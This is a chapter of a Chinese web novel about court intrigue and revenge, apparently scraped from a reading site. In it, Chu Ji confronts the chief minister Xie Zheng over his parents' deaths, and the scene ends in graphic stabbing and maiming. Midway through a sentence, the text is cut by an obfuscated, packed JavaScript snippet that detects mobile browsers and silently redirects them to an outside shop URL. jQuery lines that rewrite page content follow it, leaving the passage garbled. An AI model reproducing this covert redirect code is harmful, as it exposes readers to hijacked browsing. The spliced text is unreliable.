默认冷灰
24号文字
方正启体

79. 公主,君臣。

作者:芙芙梦本书字数:K更新时间:
    谢铮没有说话,他面如枯木,眼底升起浓厚的阴翳。


    楚稷扶着石壁起身,慢慢靠近他,继续道:“如何,这回我说对了吗?你对我失望,觉得我囿于仇恨。可若你真的十恶不赦,我对你的恨意,倒也没有如今这般深了。”


    他顿了顿:“那日我踏入谢府,你对我说,这一切不过是朝堂纷争。”


    最后四个字,他落了重音。


    “若这一切届由纷争而起,那是谁砍下我爹的头颅?是谁逼得我娘上吊自杀?难道是‘纷争’二字吗?”


    “他们死得何其无辜!你们将这莫须有的罪名安在我爹娘身上,这些也只是纷争、无奈、不得已吗?谢大人,谢首辅,你简直虚伪至极,你可知,虚伪比残忍可怕一百倍。”


    谢铮望着他,似有若无地叹了口气:“你始终觉得,杀了你爹娘的是我。”


    楚稷反问:“不是你,那又是谁?你不如一一都告诉我,等你死了,我便将他们全都杀了。”


    谢铮支起身子靠在树上,看上去十分虚荣,他道:“朝堂如沉海,身在其中,一丝一毫全然不由自己做主。这件事,我本想压在那沉沉的棺木之下,再也见不到天光。如今,你既想问,那我便告诉你。”


    他顿了顿,开口道:“若说我与你父亲二人之间,必须死一个,你可信?”


    楚稷沉眼看着他,面无表情。


    谢铮缓缓道:“先帝在世时,我与你父亲在朝中皆是一人之下、万人之上的位置。我们随先帝一起领兵出征,征战沙场。班师回朝后,云荆被封作安南王,我则做了首辅。日子一久,朝中便流言四起,文武百官纷纷开始站队。我们二人彼此视作知己,可皇宫之中,真情比那地上的蚂蚁还要轻贱,众人眼中只有利益。”


    说到这,他轻笑了一下:“战场上,我们将后背交给对方,到了朝堂,我们的背后就站满了人,百官以言作刃,比真刀真枪还要叫人觉得可怕。后来,我向先帝提出继续征战,云荆有不同意见,朝中便分为了二派,以我们二人作为领头。我们面上不和,但平日喝酒练剑都与从前一般,没有变化。”


    “日子持续,直到先帝身子日渐变弱。这些年,朝中局势他都看在眼中,弥留之际,他将我叫到身边,同我说,日后朝中只能留一个。”


    那时,承乾宗对徐北枳极为看重,他对谢铮说这话意思再明确不过,他希望在他死后,谢铮能辅佐徐北枳,守住承朝。


    楚稷抬眼问道:“你是说,杀了我爹的凶手,不是你,而是先帝?”


    他话里带了些笑意,恐怕是觉得谢铮说的这些过于荒谬。


    本以为谢铮会点头称是,他却摇了摇头,眼中透露出一种不知为何而起的悲凉:“帝王之心,何其叵测。”


    战场相逢,谢铮自以为他与承乾宗之间,既是君臣,也是知己。这也是为什么,先帝会将他叫于身侧,交代后事。


    但不久之后,他身边的亲信便告诉他,当日,他从皇宫出来以后,先帝便又紧急将楚云荆召去了殿中,所谈之事无人知晓,只知道楚云荆出来之后,脸上神情颇为肃穆。


    他听到这话时,正坐在湖心亭与自己下棋,天上与今日一样阴云密布。


    他一下便明白过来。


    原来,先帝的这些话,并不仅仅说与了他一人听。


    听到这里,楚稷眼中有些讶异。


    他接着听谢铮道:“当时,陛下年弱,不过是个孩童,而朝中又极快地分出了阵营。先帝这么做,恐怕是担心在他死后,我们二人会争夺皇位,将陛下作为要挟。到那时,恐怕整个承朝就会分崩离析。他思虑甚远,对我们有所戒备。我心中并无对皇位的贪念,但人心不可测,哪怕是自己的心,也无法掌控。所以,他这个法子是极好的。”


    他说这法子极好,但语气沧然,仿佛其中更为无奈的是他。


    楚稷一嗤:“所以,你便起了杀心,要将我爹置于死地?”


    谢铮抬眼看他,沉默无言,却又生出一种无声的肯定。


    “你听我说这些,或许只觉得我在狡辩。先帝死后,若我不按他说的那般做,而是与云荆谈开,我们二人便不会争个你死我活,而是共同辅佐陛下,守住天下。”


    这话道出了楚稷心中所想,他眯起眼睛,想透过雨水看清谢铮的脸,他在心中问道:为什么不?这样做,岂不是皆大欢喜?


    可他没将这话问出口,纵使心有不甘,他也明白,谢铮没有在骗他。


    帝王之心,何其叵测。


    谢铮与父亲只是这偌大皇朝中的两枚棋子,楚云荆走上现在的位置,若是一味忍让,哪怕没有谢铮,他也很难落得一个好下场。


    他有多了解谢铮,便有多了解父亲。承乾宗野心勃勃,生前便想着统一天下,何况是死后,谢铮的主张征战,而父亲虽是一名武将,但他没有野心,不愿战事四起。


    孰生孰死,结局早已分明。


    在这样精巧的设计之中,楚云荆作为一枚棋子,已经无法安放其中,只能作为弃子。


    楚稷静立在原地,沉默地看向黑暗,雨水淌进他的发丝,顺着脸颊缓缓流下,良久沉默无言。


    谢铮开口,声音在雨中显得有些模糊:“子萦,你从小跟在我身边,我知晓你的心性。你与你父亲极为相似,都是武将之才,而你心思更为细腻。如今胡人南下,若能随我一起出征,或许日后我们能一起实现先帝的愿望。到那时,天下一统,云荆也算死得其所。”


    他站起身,缓缓向楚稷靠近,面上多了一丝柔和。


    楚稷轻轻看了他一眼,没有动作。


    二人距离拉近,待谢铮走到楚稷身前不过三尺时,楚稷扬刀而落,刀锋对准谢铮的胸口,将他的脚步断在那里。


    楚稷双眼如墨,他握紧了身侧的拳头,双手微微发抖,那声音像是从喉咙中挤出来的:“天下无奈之事太多,但若万般皆是无奈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270559|186300||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,这些恨与仇是否都能得到消解?佛说放下屠刀,立地成佛。世人找不到答案,只能求佛祖,期冀来生。可我偏要向天问个公平!你将我爹娘逼到绝境,我便要将你逼到绝境,叫你心愿不得了!先帝将我爹视为弃子,我便要将他的陵墓掘到三尺,让他不得安息!谁拿了刀?谁点的头?谁一手造成的局面?我要一个一个剥皮扒骨,叫他们生不如死。死后下了十八层地狱,我也要再找到你们,化作厉鬼,让你们永世不得轮回!”


    谢铮见他双眼通红,像是刚从地狱中爬出的嗜血罗刹,杀意在四方蔓延。他眉心一皱,知晓对方杀心已起。


    他望着眼前锋利的刀刃,最后劝道:“你要我的命,待杀退胡人后,我便将它交给你,但现在不行。”


    他语气决绝,像是幼时楚稷求他教自己剑术,谢铮正忙着处理公务,告诉他:今日不行,明日再来。


    楚稷嘴角露出一抹似有若无的笑,像是幼时一般对谢铮道:“我现在就要。”


    话音方落,眼前的刀刃便如一阵狂风般朝谢铮袭来,那支羽箭伤到了要处,按理谢铮应该躲不过这一刀。


    但须臾之间,谢铮像是突然变了一个人。从方才苍白虚弱、奄奄一息的样子陡然一转,恢复了正常。


    楚稷双眼一眯,暗道不好——谢铮竟一直在伪装!方才在黄皮坡那支羽箭并未插入他的心脏,他演技精湛,纵然是与他相处许久的楚稷也没有察觉出来。


    因此,当谢铮从袖中掏出匕首朝他刺来时,楚稷的反应慢了半拍,他猛地向后一退,地上湿滑,他无法借力,身子向斜方歪去。


    谢铮趁机一跃,将他压在身下,将匕首猛地捅进他的大腿,那是他断了一条腿的残缺处。谢铮再明白不过,随即用脚一踹,将他的假肢扯断。


    这一下,形势发生了逆转。


    楚稷失去了一条腿,无法站立,谢铮用尽全身气力,将他死死摁在地上,那只匕首没有停下,继续在他的左臂、右臂和左腿处各扎了一刀。


    接着,谢铮将他的身子翻过来,一脚踩在他的胸口处。他握着匕首,对着楚稷的右眼,刀尖离瞳孔不到半指的距离。


    楚稷的口中被震出一点鲜血,他呛了两下,偏头将血水吐出,语气不屑:“若说狠戾,这天下之人都比不过世伯您。当初断了我的右腿,如今又要瞎我的右眼。您不如将我的双眼、双腿、双脚全部要去,让我变成人彘,养在桶中,生不如死。这样我便能一直活着,也无法变作厉鬼来索你的命。”


    谢铮冷眼看着他,语气平静:“是个好法子。若是以前,我倒可以考虑。但如今,我已经不需要你了,这么做倒显得有些麻烦,不如直接将你的心剜下来。听说无心之人到了地狱,便会魂飞魄散。”


    楚稷仰头看天,雨丝落在他的脸上。


    余光处,爹娘的石碑仍旧静静地立在原地。


    楚稷收回目光,闭上双眼,一阵锐利的风在面上划过。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)